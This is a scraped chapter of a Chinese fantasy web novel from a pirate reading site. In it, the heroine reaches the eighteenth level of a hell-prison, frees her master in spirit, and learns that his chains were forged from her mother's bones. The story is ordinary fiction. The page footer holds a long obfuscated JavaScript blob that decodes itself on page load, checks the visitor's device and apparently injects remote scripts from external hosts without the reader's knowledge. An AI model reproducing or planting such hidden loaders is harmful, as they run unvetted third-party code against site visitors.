首页
第151章 第十八层的“重逢
返回
关灯 护眼:关 字号:小

第151章 第十八层的“重逢”

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第151章第十八层的“重逢”(第1/2页)
    林灼华蹲在铁索桥上,手心里的血珠子已经凝成了痂。她低头看着那一道口子,耳边嗡嗡响着独眼老头方才说的那些话——师父偷灼华心,是为了给她续命。她咬了咬牙,把那股子酸涩硬生生咽回肚子里,攥紧灼华棍站起来,说:“不管咋样,俺先救师父出来再说。”
    独眼老头抬了抬那只独眼,目光在她脸上停了一瞬,然后慢吞吞地侧开身子,露出身后一道窄窄的石阶。石阶往下延伸,黑洞洞的,看不见底。他说:“十八层,一层比一层邪性。你娘当年闯到第十七层,倒在了最后一关跟前。你若要下去,就沿着这道阶走,别回头。”
    林灼华没再多问,抬脚就往下走。沈玉郎跟在她身后,天眼通暗中流转,目光扫过那道石阶,眉头微微一皱,但也没说什么。阿绿从桥那头颠颠地跑过来,绿毛上还挂着刚才摔出来的灰,一边跑一边喊:“姑奶奶!等等俺!俺跟你一块儿下去!”
    林灼华回头看了他一眼,说:“你不怕?”
    阿绿缩了缩脖子,但脚底下没停,说:“怕——但俺更不能瞅着你自己往下跳。”他跑到林灼华身边,喘着粗气,绿毛一抖一抖的。
    沈玉郎在旁边插嘴:“你倒是比刚才勇敢了。”
    阿绿瞪了他一眼:“俺一直勇敢!就是刚才没来得及发挥!”
    林灼华没接话,转身踏上了石阶。石阶很窄,只容一人通过,两侧是粗糙的石壁,上头长着暗绿色的苔藓,一股子潮气和霉味混在一起。她走得很快,脚步在石阶上敲出沉闷的回响。沈玉郎和阿绿紧跟在后面,谁也没说话,只有呼吸声和脚步声在狭窄的通道里回荡。
    石阶一路向下,弯弯绕绕,不知道转了多少个弯。越往下走,空气越冷,冷气从脚底板往上钻,钻进骨头缝里。阿绿打了个哆嗦,说:“这地方咋这么冷?跟俺那陵墓似的——不对,比俺那陵墓还冷。”
    林灼华没搭腔,她心里翻来覆去想的都是老叨——那个疯癫的、说话颠三倒四的、整天喊着“挨最毒的打”的老头子,此刻正被锁在第十八层。她脑子里浮现出他咧嘴笑的样子,想起他第一次从灼华棍里飘出来时,吹胡子瞪眼地说“俺是你师父,你还不跪下磕头”。那时候她以为这老头是个疯的,后来才知道,他疯归疯,但每一句话都是真的。
    石阶到了尽头,是一扇铁门。铁门厚重,表面锈迹斑斑,门缝里透出一丝昏黄的光。门楣上歪歪扭扭刻着几个字——“第十八层”。字迹很浅,像是用指甲划出来的,笔画却带着一股熟悉的味道。林灼华伸手摸了摸那几个字,指尖发凉。
    沈玉郎走上前,天眼通扫过铁门,低声说:“门后头有人气,还有一个……很沉的物件。”他顿了顿,说,“应该就是锁链。”
    林灼华深吸一口气,抬手推门。铁门没有锁,吱呀一声开了,一股陈旧的、混着铁锈和尘土的味道扑面而来。门后是一间石屋,不大,四壁光秃秃的,只有墙角点着一盏油灯,火苗黄豆大小,忽明忽暗。屋子中央坐着一个人——一个白发老头,瘦得厉害,颧骨高耸,胡子拉碴,乱糟糟的白发披散在肩上,手脚上都锁着粗大的铁链,链子另一头钉在墙壁里。他低着头,像是睡着了,听见门响才慢慢抬起头来。
    看见林灼华,他愣了一下。然后,那张枯瘦的脸上咧开一个笑——笑得又丑又暖,像一颗干瘪的老枣子忽然裂开了缝。他说:“丫头,你咋才来,俺都快把这里的耗子吃光了。”
    林灼华站在门口,眼眶一下子就红了。她攥着灼华棍的手指发白,喉咙里像是堵了一团棉花,说不出话。她想过无数次见到师父的场景——想过他瘦了、老了、被折磨得不成人样,但真看见他坐在那儿,手脚锁着铁链,瘦得几乎脱了形,她还是觉得心里被什么东西狠狠撞了一下。
    她冲过去,蹲在他面前,伸手想抱他,又怕碰到他身上的伤,手悬在半空直发抖。老叨嘿嘿笑着,张开胳膊,说:“抱吧抱吧,俺身上没少零件,就是瘦了点儿,硌不着你。”
    林灼华这才扑上去,一把抱住他。老叨瘦得厉害,骨头硌得她胸口疼,但她抱着不撒手,眼泪啪嗒啪嗒掉在他肩头的破布上。她嘴上却骂:“你个死老头!你咋不早说!你偷人家珠子的时候咋不跟俺商量商量!你——你让俺找了这么久!”
    老叨被她抱着,干瘦的手在她后背拍了拍,说:“俺这不是等你来救嘛。你要是不来,俺还得接着啃耗子。”
    林灼华又哭又笑,松开他,抹了把脸,说:“你少贫!俺问你——你咋被锁在这儿的?那个魔君呢?”
    老叨没急着回答,目光越过她的肩膀,看向她身后的沈玉郎和阿绿。沈玉郎站在门口,天眼通正仔仔细细地扫过石屋里的每一寸,最后落在他手脚上的锁链上,目光微微一凝。阿绿缩在沈玉郎后头,探出半个脑袋,看见老叨那副瘦骨嶙峋的模样,小声嘀咕了一句:“这老头儿看着比俺还惨……”
    老叨咧嘴笑了笑,冲阿绿说:“你就是那个绿毛粽子?俺听灼华念叨过你,说你一顿能吃八斤米。”阿绿脸一红,说:“俺没吃那么多!”
    林灼华没理会他俩斗嘴,追问道:“师父,到底咋回事?这锁链是谁给你上的?”
    老叨低头看了看自己手腕上的铁链,目光变得有些复杂。他沉默了一会儿,才开口说:“锁链是魔君亲手锁上的——他怕俺跑了,怕俺出去再坏他的事。”他顿了顿,声音低下去,“但俺一直没弄明白,这链子上的字是啥意思。”
    林灼华顺着他的目光看去——铁链表面灰扑扑的,但凑近了看,能看见链环上刻着细小的字。她伸手摸了摸,指腹划过那些凹凸不平的笔画,心里忽然涌起一阵说不清道不明的寒意。她问:“刻的啥?”
    老叨没有直接回答。他抬起眼,看着林灼华,那双浑浊的老眼里有一种说不出的神色——像是犹豫,又像是心疼。他张了张嘴,最后声音很轻地说:“你看。”
    林灼华低下头,凑近了那些字。油灯的光昏黄暗淡,她眯着眼,一个字一个字地认过去——“魔君亲铸”。四个字刻得工工整整,笔画里带着一股子冷硬的气息。她皱了皱眉,说:“魔君亲铸?他铸这链子干啥?怕你跑了?”
    老叨没接话。
    林灼华觉得不对,抬头看他。老叨的嘴唇动了动,像是在斟酌什么,最后他低下声来,几乎是用气音说了一句:“这锁链——是拿你娘的骨头炼的。”
    林灼华脑子里“嗡”了一声,这句话她明明听清了,却好像又没听清。她张了张嘴,半天没发出声音,手指还停在锁链上,那些冰冷的刻痕好像忽然活了过来,变成一根根针,顺着指尖扎进她心里。
    老叨看她这模样,叹了口气,把声音又压低了些,说:“丫头,你先别慌——俺跟你说这个,不是要你现在就干啥。俺是怕你哪天知道了,心里头没个准备,更难受。”
    林灼华还是没动。她蹲在那儿,像个被抽了魂的木偶,手指还搭在锁链上,好半天才从嗓子眼里挤出一句话来:“你咋知道的?”
    老叨说:“俺年轻时候见过你娘。她那时候才二十出头,梳着一条大辫子,走路带风,笑起来能照亮半条街。”他顿了一下,又说,“她骨头的事儿——是魔君当年自己说的。他锁俺的时候,亲口告诉俺,说这锁链是拿‘引眉一脉的骨头’炼的,让俺别想着跑,跑也跑不掉,因为这链子克的就是引眉血脉。”
    林灼华猛地抬起头:“克引眉血脉?”
    老叨点点头,说:“你娘的血脉是引眉一脉的正根,这锁链拿她的骨头炼出来,里头带着她的灵性——引眉血脉的人碰着这链子,使不出劲儿来。魔君是拿你娘的骨头,专门治你们这一脉的人。”他看了一眼林灼华的手,“你刚才摸那链子,是不是觉得手发软?”
    林灼华低头看了看自己的手,确实——她刚才只顾着认字,没留意那股子不对劲。现在老叨一提醒,她才觉出来,自己整条胳膊都是虚的,像是力气被人抽走了一半。她咬着牙,把手从锁链上挪开,那股子虚劲儿才慢慢退下去。
    沈玉郎在旁边一直没说话。他蹲下来,看了看林灼华的脸色,又看了看那锁链上的字,忽然开口问了一句:“前辈,这锁链既然拿骨头炼的,那……有没有法子断它?”
    老叨苦笑着摇了摇头:“俺被锁了二十年,啥法子都试过了。这链子不是寻常铁器,它带着灵性,得拿引眉一脉的‘正火’才能炼化。”他看了一眼林灼华,“你娘当年要是活着,她的血就能化这链子。可你娘不在了——你虽然也是引眉血脉,但道行不够,火候差得远。”
    林灼华咬着嘴唇,半天没说话。她心里翻来覆去地转着几件事——娘死了,骨头还被人炼成了锁链,锁着她师父;她学了一身引眉本事,却连娘留下的骨头都化不开。她越想心里越堵,堵得她胸口发闷,眼眶发酸,但她硬是没让眼泪掉下来。她攥着灼华棍的手紧了又松,松了又紧,最后深吸一口气,说:“那俺就先练,练到火候够了,再来化这链子。”
    (本章未完,请点击下一页继续阅读)第151章第十八层的“重逢”(第2/2页)
    老叨看着她,眼里闪过一丝心疼,说:“丫头,你娘要是看见你这样,该心疼了。”
    林灼华说:“俺娘心疼俺,俺知道。但俺不能因为她心疼,就不救师父。”她说完,站起来,使劲揉了一把脸,把那股酸劲儿揉散,又蹲回老叨面前,说,“师父,你先跟俺说实话——这锁链除了克引眉血脉,还有别的门道没有?”
    老叨想了想,说:“有。这链子一共九节,每节都有一个扣,得按着顺序解。解错了,锁链会越收越紧,最后能把人勒断气。”他抬起手腕,让林灼华看那链子上的节扣,“你看见没?每节上都有个小记号,像是刻的花纹——其实那是九道锁,每道锁的解法都不一样。”
    林灼华凑过去仔细看,果然——每节锁链的接口处都刻着不同的花纹,有的是云纹,有的是水纹,还有的是看不懂的古怪符号。她问:“那这九道锁,有口诀没有?”
    老叨说:“有。但俺记不全了——魔君当年只教了俺前四道的解法,说后五道得等‘有缘人’来解。俺问他啥是有缘人,他就笑,说‘等你徒弟来了就知道了’。”
    林灼华心里一动:“俺?”
    老叨说:“俺也不知道是不是你。但你是引眉血脉的传人,你娘是这链子的‘料’,你要是解不开,那这世上大概也没人能解开了。”
    林灼华沉默了一会儿,说:“那前四道的解法是啥?”
    老叨抬起手,慢慢地给她比划:“第一道,按着云纹的走向,往左拧三圈,再往右拧一圈。第二道,按着水纹的走向,先往下压,再往上提,压三提一。第三道……”他说到这儿,忽然停住了,皱了皱眉,说,“第三道是啥来着?俺记不太清了——好像是跟火有关的。”
    林灼华说:“跟火有关?”
    老叨说:“对。第三道锁上刻的是火纹,解法得拿灵火烤,但火候不能大,大了就把锁芯烧死了,小了又化不开。”
    林灼华心里一动,她想起饕渊——饕渊掌火掌了二十年,烤鱼从来没糊过,火候拿捏得应该比谁都准。她又问:“那第四道呢?”
    老叨说:“第四道是土纹,得拿土性灵气养着,养上一天一夜,锁扣自己就松了。”他叹了口气,“前三道俺都记得,就是这后五道——俺真是记不全了。”
    林灼华把老叨说的解法在心里默默记了一遍,又问:“那要是俺把前四道解了,后五道咋办?”
    老叨说:“后五道的解法,魔君说藏在一个地方——他说那个地方你娘去过,你将来也得去一趟。”
    林灼华说:“啥地方?”
    老叨看着她,声音忽然变得很轻:“天门。”
    林灼华一愣。天门——她听过这两个字,是从镜娘嘴里听的。镜娘说,她娘当年闯到第十八层前,见过一扇门,门上挂着半块铜镜,她娘就是从那扇门里出来的。她当时没细问,现在听老叨又提起天门,心里忽然涌起一阵说不清道不明的感觉。
    她问:“天门在哪儿?”
    老叨摇了摇头:“俺不知道。俺只知道,魔君当年锁俺的时候,说了一句话——‘你徒弟要想解开这链子,得先去天门走一趟,把里面的天机镜拿回来。’俺问他天机镜是啥,他就笑,说‘能照见你徒弟命的东西。’”
    林灼华的心猛地沉了一下。她感觉这一趟无间狱之行,像是掉进了一个巨大的漩涡里——她本来是来救师父的,结果救着救着,牵扯出娘的骨头、魔君的心思、还有一扇藏在深处的天门。她忽然觉得自己像是一颗棋子,被人摆在一个她看不清全貌的棋盘上。
    她蹲在那儿,半天没说话。沈玉郎在旁边听着,也没插嘴。他看了看林灼华的脸色,又看了看老叨手上的锁链,忽然开口说:“前辈,您说的那天门,是不是就在这无间狱底下?”
    老叨一愣:“你咋知道?”
    沈玉郎说:“我进来的时候,用天眼通看过一层这地方的地脉走向。这无间狱越往下越深,最底层有一道气口,像是被什么东西封着——我猜那气口后面,应该就是您说的天门。”
    老叨盯着他看了半天,忽然笑了:“你小子倒是有双好眼睛。你猜得没错——天门就在这无间狱的最底层。魔君把自己关在最底下,一半是为了守着你徒弟的娘留下的东西,一半就是为了守着那扇门。”
    林灼华说:“魔君守天门干啥?”
    老叨说:“他说那扇门不能随便开——门后头有一样东西,要是落到不该落的人手里,这天下就乱了。”
    他说完这话,又抬眼看了看林灼华,声音忽然低了几分,像是怕隔墙有耳:“丫头,俺跟你说句实话——俺在这无间狱里关了二十年,头几年天天想着咋跑出去,后来不想了,就开始琢磨魔君到底想干啥。俺琢磨了二十年,琢磨出一点门道来——魔君不是坏人,但他做的事,看着像好事,细琢磨起来却透着邪性。他把你娘的骨头炼成锁链锁着俺,说是怕俺出去祸害人——但俺一个糟老头子,能祸害谁?他锁俺,八成不是为了防俺,是为了引你来。”
    林灼华心里一紧:“引俺来干啥?”
    老叨说:“俺不知道。但你想想——你这一路打上来的守关人,铁憨憨、镜娘、独眼老头,哪一个不是跟你娘有交情的?你娘当年闯无间狱,闯到第十八层就走了——她要是真想救人,为啥不救到底?她走了,留下这些守关人,一个等一个,等着你来。这不是巧合,这是有人安排好的。”
    林灼华听得后背发凉。她忽然想起自己从渔村出发时的那个念头——她本来只想去县城找个半仙解咒,结果一路走到了泰山,走进了九幽秘境,又走进了无间狱。每一步看着都是巧合,可回头一看,这些巧合串成了一条线,线头不知道攥在谁手里。
    她低下头,看着自己手里的灼华棍,心里乱得像一锅煮沸的粥。她沉默了很久,最后抬起头,说:“不管咋样,俺先救师父出去再说。”
    老叨看着她,眼里闪过一丝疼惜,说:“丫头,你跟你娘一样,认准了的事,九头牛都拉不回来。”他顿了顿,又说,“但你听俺一句话——救俺出去之前,你先去一趟天门。把天机镜拿回来,照照自个儿的命,看看你娘到底给你留了啥。”
    林灼华说:“俺上哪儿找天机镜去?”
    老叨说:“魔君说,天机镜就在天门后头,但你得先过了他那关,他才会让你进去。”他叹了口气,“魔君那个人,看着凶,其实心里头弯弯绕绕多得很。他不是不让你进门,他是怕你进门之后,看见不该看见的东西,扛不住。”
    林灼华说:“俺扛得住。”
    老叨看着她,没说话。他沉默了一会儿,忽然抬起手,摸了摸林灼华的头顶——那动作很轻,像是隔了二十年的一份心疼,又像是一个老人对自己徒弟的最后一点牵挂。他说:“丫头,你要是真去了天门,记住一句话——你娘当年不是不想救俺,她是不能救。她要是救了俺,就没人去堵那个漏了。”
    林灼华眼眶一热,说:“啥漏?”
    老叨说:“天门的漏。你娘当年补天,补到最后,发现天门后头有一道缝——那道缝要是裂开了,这天地间的灵气就全漏光了。你娘为了堵那道缝,把自己搭进去了。”他看了一眼手上的锁链,“后来魔君拿你娘的骨头炼了这链子锁俺,俺才明白过来——你娘不是死了,她是化成那道缝的‘补丁’了。”
    林灼华愣在原地,脑子里嗡嗡作响。她娘不是死了——是化成补丁了?她娘还在这天地间,只是换了一种活法?
    她蹲在那儿,半天没说话,眼眶红了又红,最后她使劲吸了一下鼻子,说:“那俺更得去天门了——俺得看看俺娘现在过得好不好。”
    老叨看着她,笑了一下,说:“去吧。你娘要是知道你来看她,该高兴了。”
    林灼华站起身,把灼华棍往肩上一扛,回头看了一眼沈玉郎,说:“走,俺们去最底层。”
    沈玉郎点了点头,没多问,只是站起来跟在她身后。阿绿从角落里爬起来,拍了拍绿毛上的灰,颠颠地跟上来,说:“姑奶奶,那咱这算是要打大boss了不?”
    林灼华没理他,径直往石屋外走。经过老叨身边的时候,她忽然停下脚步,回头看了一眼那锁链——她娘的骨头炼成的锁链,在油灯的光里泛着冷幽幽的光,像一只沉默的眼睛,看着她。她轻声说:“娘,俺来了。”然后她转过身,大步走向无间狱的更深处。身后,老叨的声音远远地传来,像是一句叮嘱,又像是一句叹息:“丫头,记住——天门好进,出来难。你娘当年进去的时候,是一个人;你出来的时候,别也是一个人。”林灼华脚步顿了一下,没有回头,只是把肩上的灼华棍握得更紧了一些。她的背影被油灯的光拉得又长又瘦,一步一步,往黑暗里走去。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();